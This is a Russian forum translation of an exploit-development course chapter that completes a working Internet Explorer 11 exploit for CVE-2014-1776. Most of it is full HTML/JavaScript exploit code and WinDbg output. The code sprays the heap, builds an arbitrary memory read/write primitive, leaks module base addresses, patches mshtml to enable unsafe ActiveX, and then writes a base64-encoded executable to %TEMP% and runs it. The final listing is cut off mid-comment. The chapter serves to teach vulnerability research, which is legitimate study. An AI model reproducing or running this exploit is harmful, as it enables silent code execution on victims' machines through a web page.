R0 CREW

Exploit Development Course Part 19: IE 11 (Part II) [Перевод: dreamseller]

ru
#1

Перейти к содержанию

Завершение эксплойта

Как мы видели, POC использует window.onload, потому что он требует, чтобы код javascript выполнялся после полной загрузки страницы. Мы должны сделать то же самое в нашем эксплоите. Мы также должны внести необходимые изменения в остальную часть страницы. Вот полученный код:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Я сократил runcalc. Вы можете скачать полный код здесь: code6.

Когда мы пробуем это, появляется знакомое диалоговое окно:

Это означает, что что-то изменилось, и режим Бога больше не работает.

Начнем с добавления двух предупреждений, чтобы проверить, что переменные jscript9 и mshtml содержат правильные базовые адреса:

    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));

Когда мы перезагружаем страницу в IE, мы обнаруживаем, что две переменные содержат неправильные значения. Давайте еще раз изменим код, чтобы выяснить, в чем дело:

    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    alert(addr.toString(16));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10) - 0x1569ce;

Когда мы анализируем объект по адресу addr, мы понимаем, что чего-то не хватает:

0:021> dd 3c600e0
03c600e0  6cd75480 03c54120 00000000 03c6cfa0
03c600f0  029648a0 03c6af44 03c6af74 00000000
03c60100  6cd7898c 00000001 00000009 00000000
03c60110  0654d770 00000000 00000000 00000000
03c60120  6cd75480 03c54120 00000000 03c6c000
03c60130  029648a0 03c6a3d4 03c6af44 00000000
03c60140  6cd75480 03c54120 00000000 03c6cfb0
03c60150  029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
03c600e4  03c54120
03c600e8  00000000
03c600ec  03c6cfa0
03c600f0  029648a0
03c600f4  03c6af44
03c600f8  03c6af74
03c600fc  00000000
03c60100  6cd7898c jscript9!HostVariant::`vftable'
03c60104  00000001
03c60108  00000009
03c6010c  00000000
03c60110  0654d770
03c60114  00000000
03c60118  00000000
03c6011c  00000000
03c60120  6cd75480 jscript9!HostDispatch::`vftable'
03c60124  03c54120
03c60128  00000000
03c6012c  03c6c000
03c60130  029648a0
03c60134  03c6a3d4
03c60138  03c6af44
03c6013c  00000000
03c60140  6cd75480 jscript9!HostDispatch::`vftable'
03c60144  03c54120
03c60148  00000000
03c6014c  03c6cfb0
03c60150  029648a0
03c60154  029648c0
03c60158  03c60194
03c6015c  00000000

Как мы можем определить базовый адрес mshtml.dll без указателя на vftable в нем?

Нам нужно найти другой путь. На данный момент мы узнали, что элемент div представлен объектом типа jscript9!HostDispatch. Но мы уже видели этот объект в действии. Вы помните трассировку стека после crash? Посмотрим снова:

0:007> k 10
ChildEBP RetAddr  
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a

В частности, посмотрите на эти две строки:

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

Понятно, что вызов jscript9!HostDispatch::CallInvokeEx знает адрес функции MSHTML!CBase::PrivateInvokeEx, и если нам повезет, этот адрес доступен из объекта HostDispatch (помните, что нам известен адрес объекта этого самого типа).

Давайте рассмотрим jscript9!HostDispatch::CallInvokeEx в IDA. Загрузите jscript9 в IDA, а затем нажмите Ctrl + P, чтобы найти CallInvokeEx. Теперь вы можете щелкнуть любую команду, чтобы увидеть ее смещение относительно текущей функции. Мы хотим найти инструкцию по смещению 0xae CallInvokeEx:

Похоже, адрес MSHTML!CBase::PrivateInvokeEx находится по адресу eax + 20h.

Как и в случае с ошибками UAF, мы попытаемся определить, откуда появляется адрес MSHTML!CBase::PrivateInvokeEx:

Теперь нам нужно изучить функцию GetHostVariantWrapper:

Объединив схемы, мы получим следующее:

X = [это + 0ch]
Var_14 = [X + 8]
X = var_14
Obj_ptr = [X + 10h]

Более просто:

X = [это + 0ch]
X = [X + 8]
Obj_ptr = [X + 10h]

Посмотрим, правы ли мы. Давайте перезагрузим html-страницу в IE и снова рассмотрим элемент div:

0:022> dd 5360f20
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
05360f80  05360fa1 00000000 00000000 00000000
05360f90  00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
    jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0  6cc52d44 00000001 05360f00 00000000
0536cfc0  6cc52d44 00000001 05360f40 00000000
0536cfd0  0536cfe1 00000000 00000000 00000000
0536cfe0  0536cff1 00000000 00000000 00000000
0536cff0  0536cf71 00000000 00000000 00000000
0536d000  6cc54534 0535d8c0 00000000 00000005
0536d010  00004001 047f0010 053578c0 00000000
0536d020  00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
    jscript9!Js::FunctionInfo::`vftable' = <no type information>
    jscript9!Projection::UnknownThis::`vftable' = <no type information>
    jscript9!Projection::NamespaceThis::`vftable' = <no type information>
    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
    jscript9!RefCountedHostVariant::`vftable' = <no type information>
    jscript9!DummyVTableObject::`vftable' = <no type information>
    jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00  6cc5898c 00000005 00000009 00000000
05360f10  00565d88 00000000 00000000 00000000
05360f20  6cc55480 05354280 00000000 0536cfb0
05360f30  0419adb0 0536af74 0536afa4 00000000
05360f40  6cc5898c 00000001 00000009 00000000
05360f50  00525428 00000000 00000000 00000000
05360f60  05360f81 00000000 00000000 00000000
05360f70  00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
    jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88  6f03eb04 00000001 00000000 00000008
00565d98  00000000 05360f08 00000000 00000000
00565da8  00000022 02000400 00000000 00000000
00565db8  07d47798 07d47798 5c0cccc8 88000000
00565dc8  003a0043 0057005c 006e0069 006f0064
00565dd8  00730077 0073005c 00730079 00650074
00565de8  0033006d 005c0032 00580053 002e0053
00565df8  004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
    MSHTML!CDivElement::`vftable' = <no type information>

Бинго! Наши проблемы решены! Теперь давайте вычислить RVA найденной vftable:

0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04

Нам также нужно вычислить RVA для jscript9!HostDispatch::‘vftable’:

0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480

Теперь измените код следующим образом:

    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
    alert(jscript9.toString(16));
    alert(mshtml.toString(16));
    return;

Попробуйте: это должно работать просто отлично!

Теперь удалите два предупреждения и возврат. Ммм … калькулятор не отображается, что-то не так (опять!). Чтобы понять, что не так, мы можем использовать Developer Tools. Похоже, что когда Developer Tools включены, наш Режим Бога не работает. Просто разрешите выполнение ActiveXObject, и вы увидите следующую ошибку:

К счастью, проблема довольно проста: atob недоступен в IE 9. Я нашел polyfill для atob здесь:

https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa

Вот измененный код:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);
      a[i][0] = 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;

    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }

    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }

    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

Как и раньше, я обрезал runcalc. Вы можете скачать полный код здесь: code7.

Теперь калькулятор появляется, и все, похоже, работает нормально, пока мы не получим сбой. Сбой не всегда происходит, но с кодом явно что-то не так. Авария, вероятно, вызвана неправильной записью. Поскольку Режим Бога работает правильно, проблема должна быть в двух операциях записи перед вызовом bStream.SaveToFile.

Закомментируем две записи и повторите попытку. Отлично! Теперь больше нет сбоев! Но мы не можем просто обойти две записи. Если мы используем SimpleServer, это, конечно, не работает, потому что эти две записи нужны. Удивительно, но если мы добавим обратно две записи, все может быть хорошо.

Если мы немного расследуем ситуацию, мы обнаружим, что когда HTML-страница загружается в IE непосредственно с жесткого диска, string_addr указывает на нулевое dword. С другой стороны, когда страница загружается, перейдя на 127.0.0.1 и обслуживается SimpleServer, string_addr указывает на строку Unicode http://127.0.0.1/. По этой причине мы должны изменить код следующим образом:

      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }

Завершение эксплойта (2)

Пора уже совершить этот эксплойт! Полный код:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  magic_addr = 0xc000000;

  function dword2Str(dword) {
    var low = dword % 0x10000;
    var high = Math.floor(dword / 0x10000);
    if (low == 0 || high == 0)
      alert("dword2Str: null wchars not allowed");
    return String.fromCharCode(low, high);
  }
 
  function getPattern(offset_values, tot_bytes) {
    if (tot_bytes % 4 != 0)
      alert("getPattern(): tot_bytes is not a multiple of 4");
    var pieces = new Array();
    var pos = 0;
    for (i = 0; i < offset_values.length/2; ++i) {
      var offset = offset_values[i*2];
      var value = offset_values[i*2 + 1];
      var padding = new Array((offset - pos)/2 + 1).join("a");
      pieces.push(padding + dword2Str(value));
      pos = offset + 4;
    }
    // The "- 2" accounts for the null wchar at the end of the string.
    var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
    pieces.push(padding);
    return pieces.join("");
  }

  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }

  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);

      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1] = 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1] = -1;
    }
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
//    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    trigger();
    
    // Locate the modified Array.
    idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
//      alert("Can't find the modified Array");
      window.location.reload();
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
